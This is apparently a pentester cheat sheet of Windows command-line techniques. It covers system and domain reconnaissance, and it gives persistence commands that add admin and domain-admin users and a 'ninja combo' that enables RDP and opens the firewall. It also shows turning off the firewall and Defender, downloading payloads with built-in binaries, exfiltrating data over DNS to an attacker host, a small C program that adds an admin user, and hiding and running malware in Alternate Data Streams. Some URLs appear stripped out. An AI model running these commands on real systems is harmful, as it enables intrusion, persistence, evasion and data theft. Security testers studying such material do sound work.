Basic CMD for Pentesters

System info

Version and Patches info

wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
DRIVERQUERY #3rd party driver vulnerable?


set #List all environment variables

Some env variables to highlight:

  • COMPUTERNAME: Name of the computer

  • TEMP/TMP: Temp folder

  • USERNAME: Your username

  • HOMEPATH/USERPROFILE: Home directory

  • windir: C:\Windows

  • OS:Windos OS

  • LOGONSERVER: Name of domain controller

  • USERDNSDOMAIN: Domain name to use with DNS

  • USERDOMAIN: Name of the domain

nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC

Mounted disks

(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername


WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Recycle Bin

dir C:\$Recycle.Bin /s /b

Processes, Services & Software

schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software

Domain info

echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
net groups /domain #List of domain groups
net group "domain computers" /domain #List of PCs connected to the domain
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
net group "Domain Controllers" /domain #List PC accounts of domains controllers
net group "Domain Admins" /domain #List users with domain admin privileges
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the grup "Domain Admins" is included here)
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
nltest /domain_trust #Mapping of the trust relationships.

Logs & Events

#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321

Users & Groups


whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
qwinsta #Anyone else logged in?
cmdkey /list #List credential
net user /add [username] [password] #Create user

#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Check current logon session as administrator using logonsessions from sysinternals


net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators

net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group

List sessions

klist sessions

Password Policy

net accounts

Persistence with users

# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN

# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD

# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName  /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add


Interfaces, Routes, Ports, Hosts and DNSCache

ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"


netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles

NetSh Advfirewall set allprofiles state off  #Turn Off
NetSh Advfirewall set allprofiles state on  #Trun On
netsh firewall set opmode disable #Turn Off

::How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop" 

::Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed

::Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable

::Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable

::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:


net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares


netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass


reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s

Network Interfaces

ipconfig /all

ARP table

arp -A



bitsadmin /create 1 bitsadmin /addfile 1 c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1


CertReq -Post -config c:\windows\win.ini output.txt


certutil.exe -urlcache -split -f "" s.exe


set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl: /eventName:desktopimgdownldr


diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\


esentutl.exe /y \\\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o


expand \\webdav\folder\file.bat c:\ADS\file.bat


extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt


findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe


cmd.exe /c "@echo open 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"


C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"


HH.exe http://some.url/script.ps1


ieexec.exe http://x.x.x.x:8080/bypass.exe


makecab \\webdavserver\webdav\file.exe C:\Folder\


MpCmdRun.exe -DownloadFile -url <URL> -path <path> //Windows Defender executable


replace.exe \\\foo\bar.exe c:\outdir /A




Powerpnt.exe ""


squirrel.exe --download [url to package]


Update.exe --download [url to package]


winword.exe ""


wsl.exe --exec bash -c 'cat < /dev/tcp/ > binary'


cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

attrib +h file #Set Hidden
attrib -h file #Quit Hidden

#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision

#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\\name\win

#exe2bat to transform exe file in bat file

dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)

Listen address ACLs

You can listen on http://+:80/Temporary_Listen_Addresses/ without being administrator.

netsh http show urlacl

Manual DNS shell

Attacker (Kali) must use one of these 2 options:

sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive


for /f tokens _**_technique: This allows us to execute commands, get the first X words of each line and send it through DNS to our server

for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one

You can also redirect the output, and then read it.

whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>

Calling CMD from C code

#include <stdlib.h>     /* system, NULL, EXIT_FAILURE */

// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe

int main (){
    int i;
    i=system("net users otherAcc 0TherAcc! /add");
    i=system("net localgroup administrators otherAcc /add");
    return 0;

Alternate Data Streams CheatSheet (ADS/Alternate Data Stream)

Taken from

###Add content to ADS###
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\ c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o
powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"
curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:   ^scrobj.dll > fakefile.doc:reg32.bat
set-content - path {path to the file} - stream {name of the stream}

### Discover ADS contecnt
dir /R 
streams.exe <c:\path\to\file> #Binary from sysinternals#
Get-Item -Path .\fie.txt -Stream *
gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data'

###Extract content from ADS###
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
esentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /o
more < c:\ads\file.txt:test.exe

###Executing the ADS content###

wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'

* Rundll32
rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain
rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll
rundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll

* Cscript
cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"

* Wscript
wscript c:\ads\file.txt:script.vbs
echo GetObject("script:") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js

* Forfiles
forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"

* Mavinject.exe
tasklist | findstr notepad
notepad.exe                   4172 31C5CE94259D4006           2     18,476 K
type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"

mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"
(Does not work on Windows 10 1903 and newer)

* Control.exe
control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll

* Create service and run
sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
sc start evilservice

* Powershell.exe
powershell -ep bypass - < c:\temp:ttt

* Powershell.exe
powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}"

* Powershell.exe
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe}

* Regedit.exe
regedit c:\ads\file.txt:regfile.reg

* Bitsadmin.exe
bitsadmin /create myfile
bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe
bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL
bitsadmin /RESUME myfile

* AppVLP.exe
AppVLP.exe c:\windows\tracing\test.txt:ha.exe

* Cmd.exe
cmd.exe - < fakefile.doc:reg32.bat

* Ftp.exe
ftp -s:fakefile.txt:aaaa.txt

* ieframe.dll , shdocvw.dll (ads)
echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt
rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt

* bash.exe
echo calc > && bash <
bash.exe -c $(

* Regsvr32
type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS
regsvr32 /s /u /i: Textfile.txt:LoveADS

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